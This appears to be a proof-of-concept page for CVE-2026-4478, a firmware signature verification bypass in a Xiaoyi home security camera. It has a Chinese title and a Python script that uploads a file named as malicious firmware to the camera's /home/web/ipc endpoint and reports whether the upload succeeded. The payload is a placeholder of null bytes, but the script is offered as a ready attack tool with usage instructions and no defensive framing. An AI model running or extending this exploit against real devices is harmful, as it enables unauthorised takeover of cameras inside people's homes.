CVE-2026-4478: 小蚁家用摄像头固件签名验证绕过漏洞

import requests def exploit(target_ip): """ PoC for CVE-2026-4478 Exploits improper verification of cryptographic signature in firmware update. """ url = f"http://{target_ip}/home/web/ipc" # Simulate malicious firmware payload payload = b"\x00" * 1024 # Dummy payload files = { 'file': ('malicious_firmware.bin', payload, 'application/octet-stream') } try: print(f"[*] Sending malicious firmware to {target_ip}...") response = requests.post(url, files=files, timeout=10) if response.status_code == 200: print("[+] Exploit successful: Firmware uploaded.") else: print(f"[-] Exploit failed: Server returned {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: exploit(sys.argv[1])